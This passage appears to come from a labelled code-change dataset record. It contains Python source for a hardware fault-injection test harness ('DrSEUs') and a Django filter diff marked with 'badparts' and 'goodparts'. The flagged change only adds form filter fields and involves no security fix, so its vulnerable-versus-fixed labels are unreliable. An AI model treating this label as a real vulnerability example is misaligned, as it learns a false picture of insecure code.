aux_files.append(self.options.directory+'/' + self.options.aux_application) if self.options.aux_files: for file_ in self.options.aux_files: aux_files.append( self.options.directory+'/'+file_) os.makedirs('campaign-data/'+str(self.campaign_data['id']) + '/aux-files') for item in aux_files: copy(item, 'campaign-data/'+str(self.campaign_data['id']) + '/aux-files/') aux_process=Thread(target=self.debugger.aux.send_files, args=(aux_files,)) aux_process.start() self.debugger.dut.send_files(files) if self.campaign_data['use_aux']: aux_process.join() aux_process=Thread(target=self.debugger.aux.command) aux_process.start() self.debugger.dut.command() if self.campaign_data['use_aux']: aux_process.join() self.debugger.time_application() if self.campaign_data['output_file']: if self.campaign_data['use_aux_output']: self.debugger.aux.get_file( self.campaign_data['output_file'], 'campaign-data/'+str(self.campaign_data['id'])+'/gold_' + self.campaign_data['output_file']) else: self.debugger.dut.get_file( self.campaign_data['output_file'], 'campaign-data/'+str(self.campaign_data['id'])+'/gold_' + self.campaign_data['output_file']) if self.campaign_data['use_simics']: self.debugger.close() with sql() as db: db.update_dict('campaign', self.campaign_data) self.close() def send_dut_files(self, aux=False): location='campaign-data/'+str(self.campaign_data['id']) if aux: location +='/aux-files/' else: location +='/dut-files/' files=[] for item in os.listdir(location): files.append(location+item) if aux: self.debugger.aux.send_files(files) else: self.debugger.dut.send_files(files) def create_result(self, num_injections=0, outcome_category='Incomplete', outcome='Incomplete'): self.result_data.update({'aux_output': '', 'data_diff': None, 'debugger_output': '', 'detected_errors': None, 'dut_output': '', 'num_injections': num_injections, 'outcome_category': outcome_category, 'outcome': outcome, 'timestamp': None}) if 'id' in self.result_data: del self.result_data['id'] with sql() as db: db.insert_dict('result', self.result_data) self.result_data['id']=db.cursor.lastrowid db.insert_dict('injection',{'result_id': self.result_data['id'], 'injection_number': 0}) def __monitor_execution(self, latent_faults=0, persistent_faults=False): def check_output(): missing_output=False result_folder=('campaign-data/'+str(self.campaign_data['id'])+'/' 'results/'+str(self.result_data['id'])) os.makedirs(result_folder) output_location=\\ result_folder+'/'+self.campaign_data['output_file'] gold_location=('campaign-data/'+str(self.campaign_data['id'])+'/' 'gold_'+self.campaign_data['output_file']) if self.campaign_data['use_aux_output']: self.debugger.aux.get_file(self.campaign_data['output_file'], output_location) else: self.debugger.dut.get_file(self.campaign_data['output_file'], output_location) if not os.listdir(result_folder): os.rmdir(result_folder) missing_output=True else: with open(gold_location, 'rb') as solution: solutionContents=solution.read() with open(output_location, 'rb') as result: resultContents=result.read() self.result_data['data_diff']=SequenceMatcher( None, solutionContents, resultContents).quick_ratio() if self.result_data['data_diff']==1.0: os.remove(output_location) if not os.listdir(result_folder): os.rmdir(result_folder) if self.campaign_data['use_aux_output']: self.debugger.aux.command('rm ' + self.campaign_data['output_file']) else: self.debugger.dut.command('rm ' + self.campaign_data['output_file']) if missing_output: raise DrSEUsError(DrSEUsError.missing_output) outcome='' outcome_category='' if self.campaign_data['use_aux']: try: aux_buff=self.debugger.aux.read_until() except DrSEUsError as error: aux_buff='' self.debugger.dut.serial.write('\\x03') outcome=error.type outcome_category='AUX execution error' else: if self.campaign_data['kill_dut']: self.debugger.dut.serial.write('\\x03') try: buff=self.debugger.dut.read_until() except DrSEUsError as error: buff='' outcome=error.type outcome_category='Execution error' for line in buff.split('\\n'): if 'drseus_detected_errors:' in line: self.result_data['detected_errors']=\\ int(line.replace('drseus_detected_errors:', '')) break if self.campaign_data['use_aux']: for line in aux_buff.split('\\n'): if 'drseus_detected_errors:' in line: if self.result_data['detected_errors'] is None: self.result_data['detected_errors']=0 self.result_data['detected_errors'] +=\\ int(line.replace('drseus_detected_errors:', '')) break if self.campaign_data['output_file'] and not outcome: try: check_output() except DrSEUsError as error: if error.type==DrSEUsError.scp_error: outcome='Error getting output file' outcome_category='SCP error' elif error.type==DrSEUsError.missing_output: outcome='Missing output file' outcome_category='SCP error' else: outcome=error.type outcome_category='Post execution error' if not outcome: if self.result_data['detected_errors']: if self.result_data['data_diff'] is None or \\ self.result_data['data_diff'] < 1.0: outcome='Detected data error' outcome_category='Data error' elif self.result_data['data_diff'] is not None and \\ self.result_data['data_diff']==1: outcome='Corrected data error' outcome_category='Data error' elif self.result_data['data_diff'] is not None and \\ self.result_data['data_diff'] < 1.0: outcome='Silent data error' outcome_category='Data error' elif persistent_faults: outcome='Persistent faults' outcome_category='No error' elif latent_faults: outcome='Latent faults' outcome_category='No error' else: outcome='Masked faults' outcome_category='No error' return outcome, outcome_category def log_result(self): out='' try: out +=self.debugger.dut.serial.port+' ' except AttributeError: pass out +=(str(self.result_data['id'])+': ' + self.result_data['outcome_category']+' -' + self.result_data['outcome']) if self.result_data['data_diff'] is not None and \\ self.result_data['data_diff'] < 1.0: out +='{0:.2f}%'.format(max(self.result_data['data_diff']*100, 99.99)) print(colored(out, 'blue')) with sql() as db: db.cursor.execute('SELECT COUNT(*) FROM log_injection ' 'WHERE result_id=?',(self.result_data['id'],)) if db.cursor.fetchone()[0] > 1: db.cursor.execute('DELETE FROM log_injection WHERE ' 'result_id=? AND injection_number=0', (self.result_data['id'],)) db.update_dict('result', self.result_data) def inject_and_monitor(self, iteration_counter): while True: if iteration_counter is not None: with iteration_counter.get_lock(): iteration=iteration_counter.value if iteration: iteration_counter.value -=1 else: break self.create_result(self.options.injections) if not self.campaign_data['use_simics']: attempts=10 for attempt in range(attempts): try: self.debugger.reset_dut() except Exception as error: with sql() as db: db.log_event_exception( self.result_data['id'], 'Debugger', 'Error resetting DUT') print(colored( self.debugger.dut.serial.port+' ' + str(self.result_data['id'])+': ' 'Error resetting DUT(attempt '+str(attempt+1) + '/'+str(attempts)+'): '+str(error), 'red')) if attempt < attempts-1: sleep(30) else: self.result_data.update({ 'outcome_category': 'Debugger error', 'outcome': 'Error resetting dut'}) self.log_result() self.close() return else: break try: self.send_dut_files() except DrSEUsError as error: self.result_data.update({ 'outcome_category': error.type, 'outcome': 'Error sending files to DUT'}) self.log_result() continue if self.campaign_data['use_aux'] and \\ not self.campaign_data['use_simics']: self.debugger.aux.write('./'+self.campaign_data['aux_command'] + '\\n') try: latent_faults, persistent_faults=self.debugger.inject_faults() self.debugger.continue_dut() except DrSEUsError as error: self.result_data['outcome']=error.type if self.campaign_data['use_simics']: self.result_data['outcome_category']='Simics error' else: self.result_data['outcome_category']='Debugger error' if not self.campaign_data['use_simics']: try: self.debugger.continue_dut() if self.campaign_data['use_aux']: aux_process=Thread( target=self.debugger.aux.read_until) aux_process.start() self.debugger.dut.read_until() if self.campaign_data['use_aux']: aux_process.join() except DrSEUsError: pass else: (self.result_data['outcome'], self.result_data['outcome_category'])=\\ self.__monitor_execution(latent_faults, persistent_faults) if self.result_data['outcome']=='Latent faults' or \\ (not self.campaign_data['use_simics'] and self.result_data['outcome']=='Masked faults'): if self.campaign_data['use_aux']: self.debugger.aux.write( './'+self.campaign_data['aux_command']+'\\n') self.debugger.dut.write('./'+self.campaign_data['command'] + '\\n') next_outcome=self.__monitor_execution()[0] if next_outcome !='Masked faults': self.result_data.update({ 'outcome_category': 'Post execution error', 'outcome': next_outcome}) if self.campaign_data['use_simics']: try: self.debugger.close() except DrSEUsError as error: self.result_data.update({ 'outcome_category': 'Simics error', 'outcome': error.type}) finally: rmtree('simics-workspace/injected-checkpoints/' + str(self.campaign_data['id'])+'/' + str(self.result_data['id'])) self.log_result() self.close() def supervise(self, iteration_counter, packet_capture): interrupted=False while not interrupted: with iteration_counter.get_lock(): iteration=iteration_counter.value if iteration: iteration_counter.value -=1 else: break self.create_result() if packet_capture: data_dir=('campaign-data/'+str(self.campaign_data['id']) + '/results/'+str(self.result_data['id'])) os.makedirs(data_dir) capture_file=open(data_dir+'/capture.pcap', 'w') capture_process=Popen( ['ssh', 'p2020', 'tshark -F pcap -i eth1 -w -'], stderr=PIPE, stdout=capture_file) buff='' while True: buff +=capture_process.stderr.read(1) if buff[-len('Capturing on \\'eth1\\''):]==\\ 'Capturing on \\'eth1\\'': break if self.campaign_data['use_aux']: self.debugger.aux.write('./'+self.campaign_data['aux_command'] + '\\n') self.debugger.dut.write('./'+self.campaign_data['command']+'\\n') try: (self.result_data['outcome'], self.result_data['outcome_category'])=\\ self.__monitor_execution() except KeyboardInterrupt: if self.campaign_data['use_simics']: self.debugger.continue_dut() self.debugger.dut.serial.write('\\x03') self.debugger.dut.read_until() if self.campaign_data['use_aux']: self.debugger.aux.serial.write('\\x03') self.debugger.aux.read_until() self.result_data.update({ 'outcome_category': 'Incomplete', 'outcome': 'Interrupted'}) interrupted=True self.log_result() if packet_capture: os.system('ssh p2020 \\'killall tshark\\'') capture_process.wait() capture_file.close() ", "sourceWithComments": "from difflib import SequenceMatcher\nimport os\nfrom paramiko import RSAKey\nfrom shutil import copy, rmtree\nfrom subprocess import PIPE, Popen\nfrom termcolor import colored\nfrom threading import Thread\nfrom time import sleep\n\nfrom error import DrSEUsError\nfrom jtag import bdi_p2020, openocd\nfrom simics import simics\nfrom sql import sql\n\n\nclass fault_injector(object):\n def __init__(self, campaign_data, options):\n self.campaign_data = campaign_data\n self.options = options\n self.result_data = {'campaign_id': self.campaign_data['id'],\n 'aux_output': '',\n 'data_diff': None,\n 'debugger_output': '',\n 'detected_errors': None,\n 'dut_output': ''}\n if os.path.exists(\n 'campaign-data/'+str(campaign_data['id'])+'/private.key'):\n self.rsakey = RSAKey.from_private_key_file(\n 'campaign-data/'+str(campaign_data['id'])+'/private.key')\n else:\n self.rsakey = RSAKey.generate(1024)\n self.rsakey.write_private_key_file(\n 'campaign-data/'+str(campaign_data['id'])+'/private.key')\n if self.campaign_data['use_simics']:\n self.debugger = simics(campaign_data, self.result_data, options,\n self.rsakey)\n else:\n if campaign_data['architecture'] == 'p2020':\n self.debugger = bdi_p2020(campaign_data, self.result_data,\n options, self.rsakey)\n elif campaign_data['architecture'] == 'a9':\n self.debugger = openocd(campaign_data, self.result_data,\n options, self.rsakey)\n if not self.campaign_data['use_simics']:\n if self.campaign_data['use_aux']:\n self.debugger.aux.serial.write('\\x03')\n self.debugger.aux.do_login()\n if options.command != 'new':\n self.send_dut_files(aux=True)\n if options.command == 'new':\n self.debugger.reset_dut()\n\n def __str__(self):\n string = ('DrSEUs Attributes:\\n\\tDebugger: '+str(self.debugger) +\n '\\n\\tDUT:\\t'+str(self.debugger.dut).replace('\\n\\t', '\\n\\t\\t'))\n if self.campaign_data['use_aux']:\n string += '\\n\\tAUX:\\t'+str(self.debugger.aux).replace('\\n\\t',\n '\\n\\t\\t')\n string += ('\\n\\tCampaign Information:\\n\\t\\tCampaign Number: ' +\n str(self.campaign_data['id'])+'\\n\\t\\tDUT Command: \\\"' +\n self.campaign_data['command']+'\\\"')\n if self.campaign_data['use_aux']:\n string += ('\\n\\t\\tAUX Command: \\\"' +\n self.campaign_data['aux_command']+'\\\"')\n string += ('\\n\\t\\t' +\n ('Host 'if self.campaign_data['use_simics'] else '') +\n 'Execution Time: ' +\n str(self.campaign_data['exec_time'])+' seconds')\n if self.campaign_data['use_simics']:\n string += ('\\n\\t\\tExecution Cycles: ' +\n '{:,}'.format(self.campaign_data['num_cycles']) +\n ' cycles\\n\\t\\tSimulated Time: ' +\n str(self.campaign_data['sim_time'])+' seconds')\n return string\n\n def close(self):\n if not self.campaign_data['use_simics']:\n self.debugger.close()\n\n def setup_campaign(self):\n files = []\n files.append(self.options.directory+'/'+self.options.application)\n if self.options.files:\n for file_ in self.options.files:\n files.append(self.options.directory+'/'+file_)\n os.makedirs('campaign-data/'+str(self.campaign_data['id'])+'/dut-files')\n for item in files:\n copy(item, 'campaign-data/'+str(self.campaign_data['id']) +\n '/dut-files/')\n if self.campaign_data['use_aux']:\n aux_files = []\n aux_files.append(self.options.directory+'/' +\n self.options.aux_application)\n if self.options.aux_files:\n for file_ in self.options.aux_files:\n aux_files.append(\n self.options.directory+'/'+file_)\n os.makedirs('campaign-data/'+str(self.campaign_data['id']) +\n '/aux-files')\n for item in aux_files:\n copy(item, 'campaign-data/'+str(self.campaign_data['id']) +\n '/aux-files/')\n aux_process = Thread(target=self.debugger.aux.send_files,\n args=(aux_files, ))\n aux_process.start()\n self.debugger.dut.send_files(files)\n if self.campaign_data['use_aux']:\n aux_process.join()\n aux_process = Thread(target=self.debugger.aux.command)\n aux_process.start()\n self.debugger.dut.command()\n if self.campaign_data['use_aux']:\n aux_process.join()\n self.debugger.time_application()\n if self.campaign_data['output_file']:\n if self.campaign_data['use_aux_output']:\n self.debugger.aux.get_file(\n self.campaign_data['output_file'],\n 'campaign-data/'+str(self.campaign_data['id'])+'/gold_' +\n self.campaign_data['output_file'])\n else:\n self.debugger.dut.get_file(\n self.campaign_data['output_file'],\n 'campaign-data/'+str(self.campaign_data['id'])+'/gold_' +\n self.campaign_data['output_file'])\n if self.campaign_data['use_simics']:\n self.debugger.close()\n with sql() as db:\n db.update_dict('campaign', self.campaign_data)\n self.close()\n\n def send_dut_files(self, aux=False):\n location = 'campaign-data/'+str(self.campaign_data['id'])\n if aux:\n location += '/aux-files/'\n else:\n location += '/dut-files/'\n files = []\n for item in os.listdir(location):\n files.append(location+item)\n if aux:\n self.debugger.aux.send_files(files)\n else:\n self.debugger.dut.send_files(files)\n\n def create_result(self, num_injections=0, outcome_category='Incomplete',\n outcome='Incomplete'):\n self.result_data.update({'aux_output': '',\n 'data_diff': None,\n 'debugger_output': '',\n 'detected_errors': None,\n 'dut_output': '',\n 'num_injections': num_injections,\n 'outcome_category': outcome_category,\n 'outcome': outcome,\n 'timestamp': None})\n if 'id' in self.result_data:\n del self.result_data['id']\n with sql() as db:\n db.insert_dict('result', self.result_data)\n self.result_data['id'] = db.cursor.lastrowid\n db.insert_dict('injection', {'result_id': self.result_data['id'],\n 'injection_number': 0})\n\n def __monitor_execution(self, latent_faults=0, persistent_faults=False):\n\n def check_output():\n missing_output = False\n result_folder = ('campaign-data/'+str(self.campaign_data['id'])+'/'\n 'results/'+str(self.result_data['id']))\n os.makedirs(result_folder)\n output_location = \\\n result_folder+'/'+self.campaign_data['output_file']\n gold_location = ('campaign-data/'+str(self.campaign_data['id'])+'/'\n 'gold_'+self.campaign_data['output_file'])\n if self.campaign_data['use_aux_output']:\n self.debugger.aux.get_file(self.campaign_data['output_file'],\n output_location)\n else:\n self.debugger.dut.get_file(self.campaign_data['output_file'],\n output_location)\n if not os.listdir(result_folder):\n os.rmdir(result_folder)\n missing_output = True\n else:\n with open(gold_location, 'rb') as solution:\n solutionContents = solution.read()\n with open(output_location, 'rb') as result:\n resultContents = result.read()\n self.result_data['data_diff'] = SequenceMatcher(\n None, solutionContents, resultContents).quick_ratio()\n if self.result_data['data_diff'] == 1.0:\n os.remove(output_location)\n if not os.listdir(result_folder):\n os.rmdir(result_folder)\n if self.campaign_data['use_aux_output']:\n self.debugger.aux.command('rm ' +\n self.campaign_data['output_file'])\n else:\n self.debugger.dut.command('rm ' +\n self.campaign_data['output_file'])\n if missing_output:\n raise DrSEUsError(DrSEUsError.missing_output)\n\n # def __monitor_execution(self, latent_faults=0, persistent_faults=False):\n outcome = ''\n outcome_category = ''\n if self.campaign_data['use_aux']:\n try:\n aux_buff = self.debugger.aux.read_until()\n except DrSEUsError as error:\n aux_buff = ''\n self.debugger.dut.serial.write('\\x03')\n outcome = error.type\n outcome_category = 'AUX execution error'\n else:\n if self.campaign_data['kill_dut']:\n self.debugger.dut.serial.write('\\x03')\n try:\n buff = self.debugger.dut.read_until()\n except DrSEUsError as error:\n buff = ''\n outcome = error.type\n outcome_category = 'Execution error'\n for line in buff.split('\\n'):\n if 'drseus_detected_errors:' in line:\n self.result_data['detected_errors'] = \\\n int(line.replace('drseus_detected_errors:', ''))\n break\n if self.campaign_data['use_aux']:\n for line in aux_buff.split('\\n'):\n if 'drseus_detected_errors:' in line:\n if self.result_data['detected_errors'] is None:\n self.result_data['detected_errors'] = 0\n self.result_data['detected_errors'] += \\\n int(line.replace('drseus_detected_errors:', ''))\n break\n if self.campaign_data['output_file'] and not outcome:\n try:\n check_output()\n except DrSEUsError as error:\n if error.type == DrSEUsError.scp_error:\n outcome = 'Error getting output file'\n outcome_category = 'SCP error'\n elif error.type == DrSEUsError.missing_output:\n outcome = 'Missing output file'\n outcome_category = 'SCP error'\n else:\n outcome = error.type\n outcome_category = 'Post execution error'\n if not outcome:\n if self.result_data['detected_errors']:\n if self.result_data['data_diff'] is None or \\\n self.result_data['data_diff'] < 1.0:\n outcome = 'Detected data error'\n outcome_category = 'Data error'\n elif self.result_data['data_diff'] is not None and \\\n self.result_data['data_diff'] == 1:\n outcome = 'Corrected data error'\n outcome_category = 'Data error'\n elif self.result_data['data_diff'] is not None and \\\n self.result_data['data_diff'] < 1.0:\n outcome = 'Silent data error'\n outcome_category = 'Data error'\n elif persistent_faults:\n outcome = 'Persistent faults'\n outcome_category = 'No error'\n elif latent_faults:\n outcome = 'Latent faults'\n outcome_category = 'No error'\n else:\n outcome = 'Masked faults'\n outcome_category = 'No error'\n return outcome, outcome_category\n\n def log_result(self):\n out = ''\n try:\n out += self.debugger.dut.serial.port+' '\n except AttributeError:\n pass\n out += (str(self.result_data['id'])+': ' +\n self.result_data['outcome_category']+' - ' +\n self.result_data['outcome'])\n if self.result_data['data_diff'] is not None and \\\n self.result_data['data_diff'] < 1.0:\n out += ' {0:.2f}%'.format(max(self.result_data['data_diff']*100,\n 99.99))\n print(colored(out, 'blue'))\n with sql() as db:\n db.cursor.execute('SELECT COUNT(*) FROM log_injection '\n 'WHERE result_id=?', (self.result_data['id'],))\n if db.cursor.fetchone()[0] > 1:\n db.cursor.execute('DELETE FROM log_injection WHERE '\n 'result_id=? AND injection_number=0',\n (self.result_data['id'],))\n db.update_dict('result', self.result_data)\n\n def inject_and_monitor(self, iteration_counter):\n while True:\n if iteration_counter is not None:\n with iteration_counter.get_lock():\n iteration = iteration_counter.value\n if iteration:\n iteration_counter.value -= 1\n else:\n break\n self.create_result(self.options.injections)\n if not self.campaign_data['use_simics']:\n attempts = 10\n for attempt in range(attempts):\n try:\n self.debugger.reset_dut()\n except Exception as error:\n with sql() as db:\n db.log_event_exception(\n self.result_data['id'],\n 'Debugger', # TODO: update source\n 'Error resetting DUT')\n print(colored(\n self.debugger.dut.serial.port+' ' +\n str(self.result_data['id'])+': '\n 'Error resetting DUT (attempt '+str(attempt+1) +\n '/'+str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\n sleep(30)\n else:\n self.result_data.update({\n 'outcome_category': 'Debugger error',\n 'outcome': 'Error resetting dut'})\n self.log_result()\n self.close()\n return\n else:\n break\n try:\n self.send_dut_files()\n except DrSEUsError as error:\n self.result_data.update({\n 'outcome_category': error.type,\n 'outcome': 'Error sending files to DUT'})\n self.log_result()\n continue\n if self.campaign_data['use_aux'] and \\\n not self.campaign_data['use_simics']:\n self.debugger.aux.write('./'+self.campaign_data['aux_command'] +\n '\\n')\n try:\n latent_faults, persistent_faults = self.debugger.inject_faults()\n self.debugger.continue_dut()\n except DrSEUsError as error:\n self.result_data['outcome'] = error.type\n if self.campaign_data['use_simics']:\n self.result_data['outcome_category'] = 'Simics error'\n else:\n self.result_data['outcome_category'] = 'Debugger error'\n if not self.campaign_data['use_simics']:\n try:\n self.debugger.continue_dut()\n if self.campaign_data['use_aux']:\n aux_process = Thread(\n target=self.debugger.aux.read_until)\n aux_process.start()\n self.debugger.dut.read_until()\n if self.campaign_data['use_aux']:\n aux_process.join()\n except DrSEUsError:\n pass\n else:\n (self.result_data['outcome'],\n self.result_data['outcome_category']) = \\\n self.__monitor_execution(latent_faults, persistent_faults)\n if self.result_data['outcome'] == 'Latent faults' or \\\n (not self.campaign_data['use_simics'] and\n self.result_data['outcome'] == 'Masked faults'):\n if self.campaign_data['use_aux']:\n self.debugger.aux.write(\n './'+self.campaign_data['aux_command']+'\\n')\n self.debugger.dut.write('./'+self.campaign_data['command'] +\n '\\n')\n next_outcome = self.__monitor_execution()[0]\n if next_outcome != 'Masked faults':\n self.result_data.update({\n 'outcome_category': 'Post execution error',\n 'outcome': next_outcome})\n if self.campaign_data['use_simics']:\n try:\n self.debugger.close()\n except DrSEUsError as error:\n self.result_data.update({\n 'outcome_category': 'Simics error',\n 'outcome': error.type})\n finally:\n rmtree('simics-workspace/injected-checkpoints/' +\n str(self.campaign_data['id'])+'/' +\n str(self.result_data['id']))\n self.log_result()\n self.close()\n\n def supervise(self, iteration_counter, packet_capture):\n interrupted = False\n while not interrupted:\n with iteration_counter.get_lock():\n iteration = iteration_counter.value\n if iteration:\n iteration_counter.value -= 1\n else:\n break\n self.create_result()\n if packet_capture:\n data_dir = ('campaign-data/'+str(self.campaign_data['id']) +\n '/results/'+str(self.result_data['id']))\n os.makedirs(data_dir)\n capture_file = open(data_dir+'/capture.pcap', 'w')\n capture_process = Popen(\n ['ssh', 'p2020', 'tshark -F pcap -i eth1 -w -'],\n stderr=PIPE, stdout=capture_file)\n buff = ''\n while True:\n buff += capture_process.stderr.read(1)\n if buff[-len('Capturing on \\'eth1\\''):] == \\\n 'Capturing on \\'eth1\\'':\n break\n if self.campaign_data['use_aux']:\n self.debugger.aux.write('./'+self.campaign_data['aux_command'] +\n '\\n')\n self.debugger.dut.write('./'+self.campaign_data['command']+'\\n')\n try:\n (self.result_data['outcome'],\n self.result_data['outcome_category']) = \\\n self.__monitor_execution()\n except KeyboardInterrupt:\n if self.campaign_data['use_simics']:\n self.debugger.continue_dut()\n self.debugger.dut.serial.write('\\x03')\n self.debugger.dut.read_until()\n if self.campaign_data['use_aux']:\n self.debugger.aux.serial.write('\\x03')\n self.debugger.aux.read_until()\n self.result_data.update({\n 'outcome_category': 'Incomplete',\n 'outcome': 'Interrupted'})\n interrupted = True\n self.log_result()\n if packet_capture:\n os.system('ssh p2020 \\'killall tshark\\'')\n capture_process.wait()\n capture_file.close()\n"}, "/log/filters.py": {"changes": [{"diff": "\n help_text='')\n event_type = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n+ result__outcome = django_filters.MultipleChoiceFilter(\n+ label='Outcome',\n+ widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n+ result__outcome_category = django_filters.MultipleChoiceFilter(\n+ label='Outcome category',\n+ widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n source = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n \n class Meta:\n model = event\n- fields = ('source', 'event_type', 'description')\n+ fields = ('result__outcome_category', 'result__outcome', 'source',\n+ 'event_type', 'description')\n \n \n class simics_register_diff_filter(django_filters.FilterSe", "add": 8, "remove": 1, "filename": "/log/filters.py", "badparts": [" fields = ('source', 'event_type', 'description')"], "goodparts": [" result__outcome = django_filters.MultipleChoiceFilter(", " label='Outcome',", " widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')", " result__outcome_category = django_filters.MultipleChoiceFilter(", " label='Outcome category',", " widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')", " fields = ('result__outcome_category', 'result__outcome', 'source',", " 'event_type', 'description')"]}], "source": "\nfrom django.forms import SelectMultiple, Textarea import django_filters from re import split from.models import(event, injection, result, simics_register_diff) def fix_sort(string): return ''.join([text.zfill(5) if text.isdigit() else text.lower() for text in split('([0-9]+)', str(string))]) def fix_sort_list(list): return fix_sort(list[0]) def result_choices(campaign, attribute): choices=[] for item in result.objects.filter(campaign_id=campaign).values_list( attribute, flat=True).distinct(): if item is not None: choices.append((item, item)) return sorted(choices, key=fix_sort_list) class injection_filter(django_filters.FilterSet): def __init__(self, *args, **kwargs): campaign=kwargs['campaign'] del kwargs['campaign'] super(injection_filter, self).__init__(*args, **kwargs) bit_choices=self.injection_choices(campaign, 'bit') self.filters['bit'].extra.update(choices=bit_choices) self.filters['bit'].widget.attrs['size']=min(len(bit_choices), 10) checkpoint_number_choices=self.injection_choices( campaign, 'checkpoint_number') self.filters['checkpoint_number'].extra.update( choices=checkpoint_number_choices) self.filters['checkpoint_number'].widget.attrs['size']=min( len(checkpoint_number_choices), 10) field_choices=self.injection_choices(campaign, 'field') self.filters['field'].extra.update(choices=field_choices) self.filters['field'].widget.attrs['size']=min(len(field_choices), 10) register_choices=self.injection_choices(campaign, 'register') self.filters['register'].extra.update(choices=register_choices) self.filters['register'].widget.attrs['size']=min( len(register_choices), 10) register_index_choices=self.injection_choices( campaign, 'register_index') self.filters['register_index'].extra.update( choices=register_index_choices) self.filters['register_index'].widget.attrs['size']=min( len(register_index_choices), 10) num_injections_choices=result_choices(campaign, 'num_injections') self.filters['result__num_injections'].extra.update( choices=num_injections_choices) self.filters['result__num_injections'].widget.attrs['size']=min( len(num_injections_choices), 10) outcome_choices=result_choices(campaign, 'outcome') self.filters['result__outcome'].extra.update(choices=outcome_choices) self.filters['result__outcome'].widget.attrs['size']=min( len(outcome_choices), 10) outcome_category_choices=result_choices(campaign, 'outcome_category') self.filters['result__outcome_category'].extra.update( choices=outcome_category_choices) self.filters['result__outcome_category'].widget.attrs['size']=min( len(outcome_category_choices), 10) self.filters['success'].extra.update(help_text='') target_choices=self.injection_choices(campaign, 'target') self.filters['target'].extra.update(choices=target_choices) self.filters['target'].widget.attrs['size']=min( len(target_choices), 10) target_index_choices=self.injection_choices(campaign, 'target_index') self.filters['target_index'].extra.update(choices=target_index_choices) self.filters['target_index'].widget.attrs['size']=min( len(target_index_choices), 10) def injection_choices(self, campaign, attribute): choices=[] for item in injection.objects.filter( result__campaign_id=campaign).values_list( attribute, flat=True).distinct(): if item is not None: choices.append((item, item)) return sorted(choices, key=fix_sort_list) bit=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') checkpoint_number=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') field=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') register=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') register_index=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') result__aux_output=django_filters.CharFilter( label='AUX output', lookup_type='icontains', widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}), help_text='') result__data_diff_gt=django_filters.NumberFilter( name='result__data_diff', label='Data diff(>)', lookup_type='gt', help_text='') result__data_diff_lt=django_filters.NumberFilter( name='result__data_diff', label='Data diff(<)', lookup_type='lt', help_text='') result__debugger_output=django_filters.CharFilter( label='Debugger output', lookup_type='icontains', widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}), help_text='') result__dut_output=django_filters.CharFilter( label='DUT output', lookup_type='icontains', widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}), help_text='') result__num_injections=django_filters.MultipleChoiceFilter( label='Number of injections', widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') result__outcome=django_filters.MultipleChoiceFilter( label='Outcome', widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') result__outcome_category=django_filters.MultipleChoiceFilter( label='Outcome category', widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') target=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') target_index=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') time_gt=django_filters.NumberFilter( name='time', label='Time(>)', lookup_type='gt', help_text='') time_lt=django_filters.NumberFilter( name='time', label='Time(<)', lookup_type='lt', help_text='') class Meta: model=injection fields=('result__outcome_category', 'result__outcome', 'result__data_diff_gt', 'result__data_diff_lt', 'result__dut_output', 'result__aux_output', 'result__debugger_output', 'result__num_injections', 'checkpoint_number', 'time_gt', 'time_lt', 'target', 'target_index', 'register', 'register_index', 'bit', 'field', 'success') class event_filter(django_filters.FilterSet): def __init__(self, *args, **kwargs): campaign=kwargs['campaign'] del kwargs['campaign'] super(event_filter, self).__init__(*args, **kwargs) event_type_choices=self.event_choices(campaign, 'event_type') self.filters['event_type'].extra.update(choices=event_type_choices) self.filters['event_type'].widget.attrs['size']=min( len(event_type_choices), 10) source_choices=self.event_choices(campaign, 'source') self.filters['source'].extra.update(choices=source_choices) self.filters['source'].widget.attrs['size']=min( len(source_choices), 10) def event_choices(self, campaign, attribute): choices=[] for item in event.objects.filter( result__campaign_id=campaign).values_list( attribute, flat=True).distinct(): if item is not None: choices.append((item, item)) return sorted(choices, key=fix_sort_list) description=django_filters.CharFilter( lookup_type='icontains', widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}), help_text='') event_type=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') source=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='') class Meta: model=event fields=('source', 'event_type', 'description') class simics_register_diff_filter(django_filters.FilterSet): def __init__(self, *args, **kwargs): self.campaign=kwargs['campaign'] del kwargs['campaign'] super(simics_register_diff_filter, self).__init__(*args, **kwargs) self.queryset=kwargs['queryset'] checkpoint_number_choices=self.simics_register_diff_choices( 'checkpoint_number') self.filters['checkpoint_number'].extra.update( choices=checkpoint_number_choices) self.filters['checkpoint_number'].widget.attrs['size']=min( len(checkpoint_number_choices), 10) register_choices=self.simics_register_diff_choices('register') self.filters['register'].extra.update(choices=register_choices) self.filters['register'].widget.attrs['size']=min( len(register_choices), 10) def simics_register_diff_choices(self, attribute): choices=[] for item in self.queryset.filter( result__campaign_id=self.campaign ).values_list(attribute, flat=True).distinct(): choices.append((item, item)) return sorted(choices, key=fix_sort_list) checkpoint_number=django_filters.MultipleChoiceFilter( widget=SelectMultiple(attrs={'style': 'width:100%;'}), 